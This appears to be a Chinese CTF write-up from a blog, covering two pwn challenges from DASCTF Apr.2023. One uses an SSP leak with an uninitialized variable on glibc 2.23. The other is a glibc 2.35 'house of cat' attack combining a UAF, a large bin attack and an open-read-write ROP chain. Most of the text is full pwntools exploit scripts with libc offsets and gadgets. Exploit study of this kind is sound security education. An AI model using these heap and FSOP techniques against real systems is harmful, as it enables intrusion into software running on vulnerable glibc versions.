DASCTF Apr.2023 X SU战队2023开局之战 pwn
four
漏洞是2.23的ssp leak和未初始化漏洞
主要的难点就是分析程序而且题中有一些干扰选项
保护
程序分析
主函数有4个选项
1:是干扰的选项(因为会关闭标准错位流,那就没法打ssp leak)
2:这个函数中有一个未初始化漏洞
3:就是在这个函数中利用未初始化漏洞去打开flag文件
4:就是将flag文件中内容读取到bss上
5:就是在这个函数中去打ssp leak
做题流程
进入2选项
下面的if里面的东西没啥用,就不需要进入了
进入3选项
真正有用也就红框框柱的(结合未初始化漏洞打开flag文件)其他的没用是干扰选项
进入4选项
主要就是控制下面这个read
进入选项5
利用溢出修改存放有程序名的地方并触发canary
exp
from tools import *
#context.log_level='debug'
p=process('a')
debug(p,0x40141F)
p.sendlineafter("your choice : \n",str(2))
p.sendlineafter("You can give any value, trust me, there will be no overflow\n",str(0x5fef))
payload=b'bb'+b'flag\x00'*0x1300
p.recvuntil("Actually, this function doesn't seem to be useful\n")
p.sendline(payload)
p.sendafter("Really?\n",'n')
p.recvuntil('your choice :')
pause()
p.sendline('3')
p.sendlineafter("Enter level:",str(1))
p.sendlineafter("Enter mode:",str(1))
p.sendlineafter("Enter X:",str(1))
payload='a'*0x10
p.sendlineafter("Enter a string: ",payload)
p.sendlineafter("please input filename\n",'output.txt')
p.sendlineafter("1. yes\n2.no\n",str(2))
p.sendlineafter("your choice : \n",str(4))
payload='>:`!!>@g*>~3'
p.sendlineafter('info>>\n',payload)
p.sendlineafter("your choice : \n",str(5))
payload=b'a'*0x118+p64(0x602121)
p.sendlineafter("This is a strange overflow. Because of canary, you must not hijack the return address\n",payload)
p.interactive() #0x776dc
largeheap
保护策略
2.35的house of cat
有一个沙箱禁用了execve
程序分析
有三个功能 1、add 2、delete 3、edit
漏洞利用
delete中有一个uaf
edit有两种模式
选择1中有数组溢出可以造成io_leak,(修改
io_read_end
和io_write_base
的后两个字节为0(只改倒数第二个字节为0也可以)) (只有两次机会) 选择2就是正常的edit(但只有一次机会)
所以利用流程就是
io_leak
泄露地址,house of cat
配合svcudp_reply
在这里再说一下house of cat 修改的地方就是两个结构体的write_ptr>write_base
再恢复一下_lock字段
修改wide中vtable(和call有关)
布局
首先先申请四个chunk
add(0,0x440)
add(1,0x430)
add(2,0x450)
add(3,0x468)再将1和2释放掉在申请出两个chunk4,5大小分别是0x450 0x430(是在原本释放的1和2中申请出来的)
然就是利用uaf让释放5可以和top合并,在通过2完成large bin attack 和修改5的size(也就是top chunk的size)
附上两张伪造的结构体的布局
exp
from tools import *
import time
from ctypes import *
p = process('largeheap')
elf = ELF("./largeheap")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
libs=cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
context(arch="amd64",os="linux",log_level="debug")
def meau(index):
p.sendlineafter("Your choice: ",str(index))
def add(index,size,content='flag\x00\x00\x00\x00'):
meau(1)
p.sendlineafter("index: ",str(index))
p.sendlineafter("size: ",str(size))
p.sendafter("content: ",content)
def delete(index):
meau(2)
p.sendlineafter("index: ",str(index))
def edit(ints,types,index,content):
meau(3)
p.sendlineafter("We need to check your identity!\n",str(ints))
p.sendlineafter("Please select the type of edit: ",str(types))
if (types ==1):
p.sendlineafter("index: ",str(index))
p.sendafter("content: ",content)
if (types == 2):
p.sendlineafter("index: ",str(index))
p.sendlineafter("Please enter offset: ",str(content))
add_p=0x153E
delete_p=0x1630
add(0xf,0x418,'a')
add(0xe,0x418,'a')
delete(0xf)
libs.srand(int(time.time()))
a=libs.rand()
print(a)
edit(a,2,0xf,0xaa0+0x20+1)
libs.srand(int(time.time()))
a=libs.rand()
print(a)
edit(a,2,0xf,0xaa0+0x20+1-0x10)
strs=b'\x00'*2+b'\x08'+b'\x00'*0x29+b'\x01'+b'\x00'*0x1d
p.recvuntil(strs)
heap_base = u64(p.recv(6).ljust(8,b'\x00'))
log_addr('heap_base')
strs=b'\x01'+b'\x00'*3+b'\xff'*3+b'\x7f'
p.recvuntil(strs)
libc_base=u64(p.recv(6).ljust(8,b'\x00'))-0x1d809b
log_addr('libc_base')
svcudp_reply=libc_base+0x16a1fa
leave_ret=libc_base+0x00000000000562ec
pop_rdi=libc_base+0x000000000002a3e5
pop_rsi=libc_base+0x000000000002be51
pop_rdx_r12=libc_base+0x000000000011f497
open=libc_base+0x114690
read=libc_base+0x00000114980
write=libc_base+0x000000114a20
add_rsp_0x40=libc_base+0x00000000000ec4d0
p.sendline('2')
p.sendlineafter("index: ",'14')
heap_base=heap_base+0x290
io_file=p64(4)*4# write_ptr
io_file+=p64(0)*3
io_file+=p64(heap_base+0xe0+0xd0-0x18) #rbp
io_file+=p64(0)*7
io_file+=p64(libc_base+0x21ba60)
io_file+=p64(0)*2
io_file+=p64(heap_base+0xe0) # wide
io_file+=p64(0)*6
io_file+=p64(libc_base+0x2160c0+16)
#
wide_data=p64(0)*4+p64(1)
wide_data+=p64(0)*19
wide_data+=p64(add_rsp_0x40)
wide_data+=p64(0xdeadbeef)
wide_data+=p64(heap_base+0xe0+0xd0-8) #rax
wide_data+=p64(0)
wide_data+=p64(heap_base+0xe0+0xd0)#wide_vtable
wide_data+=p64(svcudp_reply)
wide_data+=p64(leave_ret) #second call
flag=heap_base+0x1a8+0x728
orw=p64(pop_rdi)+p64(flag)+p64(pop_rsi)+p64(0)
orw+=p64(open)
orw+=p64(pop_rdi)+p64(3)
orw+=p64(pop_rsi)+p64(heap_base-0x50)+p64(pop_rdx_r12)+p64(0x50)*2
orw+=p64(read)
orw+=p64(pop_rdi)+p64(1)
orw+=p64(pop_rsi)+p64(heap_base-0x50)+p64(pop_rdx_r12)+p64(0x50)*2
orw+=p64(write)
add(0,0x440,io_file+wide_data+orw)
add(1,0x430)
add(2,0x450)
add(3,0x468)
delete(1)
delete(2) #merge save the pointer in 2
add(4,0x460,b'g'*0x430+p64(0)+p64(0x461)) # modify 修改2的inuser位
add(5,0x420) #reply
delete(2)
add(6,0x450,b'g'*0x20+p64(0)+p64(0xd11)) #修改5的size
delete(2)
add(7,0x460)
delete(0)
delete(5)
stderr=libc_base+libc.symbols['stderr']
payload=p64(libc_base+0x1a0e0)*2+p64(0)+p64(stderr-0x20)+p64(0)+p64(0x301)
log_addr('stderr')
libs.srand(int(time.time()))
a=libs.rand()
edit(a,1,2,payload)
debug(p,'pie',add_p,delete_p)
add(8,0x468) #large bin attack
libs.srand(int(time.time()))
p.interactive()
#4040 large bin 0xa427c malloc_assert 0xa0ef0 call 0x83d55
#p *(struct _IO_wide_data *)
标签:Apr.2023,p64,libc,SU,add,base,战队,str,sendlineafter
From: https://www.cnblogs.com/trunk/p/17363820.html